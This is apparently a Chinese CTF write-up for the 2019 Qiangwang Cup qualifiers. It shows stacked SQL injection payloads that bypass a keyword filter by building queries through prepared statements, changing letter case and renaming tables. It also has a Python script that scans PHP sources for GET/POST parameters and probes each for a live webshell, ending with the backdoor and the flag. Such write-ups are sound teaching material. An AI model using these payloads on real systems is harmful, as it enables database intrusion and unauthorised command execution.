2019 强网杯 线上预选赛 部分题解

赛后复现一下Orz。

随便注

?inject=1’ order by 3 —+判断出只有两列。

使用?inject=1’ union select 1,2 —+的时候弹出了waf

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

测试发现可以使用堆叠注入。

1
?inject=1';show tables --+

得到两个表,1919810931114514words

这儿接下来是有两个操作。

Chamd5的师傅的

使用预编译来绕过注入。

1
2
3
4
5
6
7
8
9
?inject=1';
create procedure vk()
begin
set @v_sql=concat('sel','ect * from `1919810931114514`;');
prepare stmt from @v_sql;
execute stmt;
deallocate prepare stmt;
end;
call vk();--+

然后又弹出了一个waf

1
strstr($inject, "set") && strstr($inject, "prepare")

这个好办,strstr大小写敏感,直接大小写绕过。

1
2
3
4
5
6
7
8
9
?inject=1';
CREATE PROCEDURE VK()
BEGIN
SET @V_SQL=CONCAT('SEL','ECT * FROM `1919810931114514`;');
PREPARE STMT FROM @V_SQL;
EXECUTE STMT;
DEALLOCATE PREPARE STMT;
END;
CALL VK();--+
Shad0w_zz师傅的

具体思路是修改1919810931114514的表名为words

先给表加个id字段。

1
2
?inject=1';
ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;--+

然后改名。

1
2
3
4
?inject=1';
ALTER TABLE `1919810931114514` RENAME TO `xxx`;
ALTER TABLE `words` RENAME TO `zzz`;
ALTER TABLE `xxx` RENAME TO `words`;--+

高明的黑客

源码在www.tar.gz中,共计3002个文件。。。

具体思路是遍历找出所有的Shell来尝试连接。

抄一下Mochazz师傅的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*?\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))
for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass

emmm本地测试的时候需要将PHP版本改为7.3左右。

1
backdoor file is: xk0SzyKwfzw.php GET:  Efa5BVG
1
flag{us4882vyom353basexu6ai7c0i66gfag}